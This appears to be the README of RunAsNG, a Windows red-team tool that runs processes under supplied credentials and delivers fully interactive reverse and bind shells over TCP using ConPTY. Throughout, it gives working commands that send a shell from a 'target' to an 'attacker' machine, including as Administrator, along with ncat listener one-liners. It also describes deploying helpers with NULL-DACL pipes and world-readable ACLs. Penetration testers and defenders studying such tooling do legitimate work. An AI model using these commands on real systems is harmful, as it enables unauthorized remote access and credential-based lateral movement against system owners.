A fully interactive Windows shell tool with built-in RunAs and network capabilities. Combines credential-based process execution (CreateProcessWithLogonW) with Windows ConPTY for true terminal emulation over TCP — no external tools required.
The built-in Windows runas command has significant limitations:
| Feature | Windows runas |
RunAsNG |
|---|---|---|
| Interactive shell in current console | No (opens new window) | Yes |
| Works over reverse/bind shell | No | Yes (ConPTY) |
| Built-in TCP reverse shell | No | Yes |
| Built-in TCP bind shell | No | Yes |
| Built-in interactive client | No | Yes (raw terminal) |
| Tab completion over network | No | Yes |
| Arrow keys / history over network | No | Yes |
| VT100/ANSI escape support | No | Yes |
| NETONLY logon | CLI only | Yes (-n) |
| Works with ncat/netcat | N/A | Yes (--no-pty) |
| Single binary, no dependencies | N/A | Yes (.NET 9 required on target) |
┌─────────────────────────────────────────────────────────────┐
│ Target Machine (sends shell) │
│ │
│ RunAsNG.exe (parent) │
│ │ │
│ ├── Console mode: attaches helper to parent's console │
│ │ │
│ ├── Pipe mode: named pipes + ConPTY (when stdin is pipe) │
│ │ │
│ └── Network mode: TCP ↔ ConPTY (or TCP ↔ pipes) │
│ │ │
│ ├── Direct: socket ↔ ConPTY ↔ cmd.exe │
│ │ │
│ ├── RunAs: socket ↔ named pipes ↔ helper process │
│ │ (helper runs as target user with ConPTY) │
│ │ │
│ └── --no-pty: socket ↔ stdin/stdout pipes ↔ cmd │
│ │
└─────────────────────────────────────────────────────────────┘
│ TCP
▼
┌─────────────────────────────────────────────────────────────┐
│ Attacker Machine (receives shell) │
│ │
│ Option A: RunAsNG.exe -C listen:4444 (full interactivity) │
│ Option B: ncat -lvnp 4444 (basic, --no-pty) │
│ Option C: stty raw -echo; ncat ... (Linux, full ConPTY) │
│ │
└─────────────────────────────────────────────────────────────┘
When RunAs is used (-u/-p), the parent cannot directly attach ConPTY to a process running as another user. Instead:
- Parent copies itself to
C:\ProgramData\RunAsNG\with permissive ACLs - Parent creates named pipes with NULL DACL (accessible by any user)
- Parent launches the copy as the target user via
CreateProcessWithLogonW - The helper (running as target user) connects to the named pipes, creates a ConPTY, and spawns the shell
- Data flows:
TCP/console ↔ parent ↔ named pipes ↔ helper ↔ ConPTY ↔ shell
| Option | Long | Description |
|---|---|---|
-u |
--user |
Username. Supports DOMAIN\user, user@domain, or just user |
-p |
--pass |
Password for the target user |
-d |
--domain |
Domain (default: . for local machine). Auto-detected from username |
-c |
--cmd |
Command to execute (default: cmd.exe) |
-n |
--netonly |
Use LOGON_NETCREDENTIALS_ONLY — local identity unchanged, network identity uses provided credentials |
-r |
--reverse |
Reverse shell: connect back to host:port |
-l |
--listen |
Bind shell: listen on port for incoming connection |
-C |
--connect |
Interactive client with raw console mode (replaces ncat) |
--no-pty |
Disable ConPTY, use basic pipe redirection. Compatible with ncat | |
--rows |
Terminal rows (default: 30). Used for ConPTY size | |
--cols |
Terminal columns (default: 120). Used for ConPTY size | |
-h |
--help |
Show help |
The client mode puts the Windows console into raw mode (ENABLE_VIRTUAL_TERMINAL_INPUT, no line buffering, no echo) and negotiates terminal size with the server automatically.
Two forms:
-C host:port— connect to a bind shell-C listen:port— listen for a reverse shell
Disables ConPTY entirely. The shell's stdin/stdout are connected directly via pipes to the TCP socket. Output is stable but non-interactive:
- No tab completion
- No arrow keys / command history
- No Ctrl+C passthrough (use Ctrl+Break or close connection)
- Compatible with any TCP client (ncat, netcat, socat)
Uses LOGON_NETCREDENTIALS_ONLY flag. The spawned process runs with the current user's local identity but uses the specified credentials for network authentication. Useful for accessing network resources (SMB shares, RPC, etc.) with different domain credentials without actually logging in as that user.
Run a shell as user in the current console window (no new window spawns):
RunAsNG.exe -u user -p P@ssw0rd
With PowerShell:
RunAsNG.exe -u DOMAIN\admin -p Secret123 -c powershell.exe
Receiver (your machine, Windows):
RunAsNG.exe -C listen:4444
Sender (target machine):
RunAsNG.exe -r 10.0.0.1:4444
Tab completion, arrow keys, colors, Ctrl+C — everything works.
Receiver (your machine, Linux):
# Check terminal size
stty size
# Output: 50 200
# Listen with raw terminal
stty raw -echo; ncat -lvnp 4444; stty saneSender (target machine, match terminal size):
RunAsNG.exe -r 172.17.71.92:4444 --rows 50 --cols 200
Important: Do not resize the terminal window during the session. ConPTY cannot detect size changes dynamically.
Send a shell running as a different user:
Receiver:
RunAsNG.exe -C listen:4444
Sender:
RunAsNG.exe -r 10.0.0.1:4444 -u Administrator -p P@ssw0rd
When you only have ncat on the receiving side and don't need full interactivity:
Receiver (Windows):
chcp 65001 && ncat -lvnp 4444
Receiver (Linux):
ncat -lvnp 4444
Sender:
RunAsNG.exe -r 10.0.0.1:4444 --no-pty
Target listens, you connect:
Target:
RunAsNG.exe -l 4444
Your machine:
RunAsNG.exe -C 10.0.0.2:4444
Target:
RunAsNG.exe -l 4444 -u admin -p Secret -c powershell.exe
Your machine:
RunAsNG.exe -C 10.0.0.2:4444
Spawn a shell that uses domain credentials for network access but keeps local identity:
RunAsNG.exe -u CORP\admin -p DomainPass -n -c powershell.exe
Inside the shell, whoami shows your original user, but dir \\fileserver\share authenticates as CORP\admin.
ConPTY uses a fixed terminal size set at creation time. If the receiver's terminal is a different size, cursor positioning will be wrong.
Fix: Use -C client (auto-negotiates size) or pass --rows/--cols matching your terminal. On Linux, run stty size to get the values.
| Receiver | Mode | Fix |
|---|---|---|
RunAsNG -C |
ConPTY | Works automatically (client sets UTF-8 codepage) |
| ncat (Windows) | --no-pty |
Run chcp 65001 before starting ncat |
| ncat (Linux) | ConPTY | Works automatically (Linux terminals are UTF-8 by default) |
| ncat (Windows) | ConPTY | Not recommended — use -C client instead |
This is a .NET CLR exception during helper startup. Common causes:
- Target user has no profile and .NET can't find a temp directory
- .NET 9 runtime is not installed globally
Fix: Ensure .NET 9 runtime is installed in C:\Program Files\dotnet\ (accessible to all users). Create the target user's profile by logging in as that user at least once.
ncat on Windows doesn't process VT100 escape sequences properly and doesn't report terminal size. Use either:
RunAsNG -Con Windows (recommended)stty raw -echo; ncat ...on Linux--no-ptyflag for ncat on Windows
When using -r, the tool retries the connection up to 10 times with increasing backoff (1s, 2s, ... up to 5s). Start the listener before the sender, or the sender will keep retrying for ~30 seconds.
When using -l, ensure the listening port is allowed through Windows Firewall. Windows may prompt to allow the connection on first use.
The helper binary is deployed to C:\ProgramData\RunAsNG\ with permissive ACLs (Everyone: RX). If this directory has stale files from a previous version, delete it manually and re-run.
Requirements: .NET 9 SDK
Debug build:
dotnet build
Release publish (framework-dependent):
dotnet publish -c Release -o out
Output: out\RunAsNG.exe (~150KB) + runtime files. Requires .NET 9 runtime on target.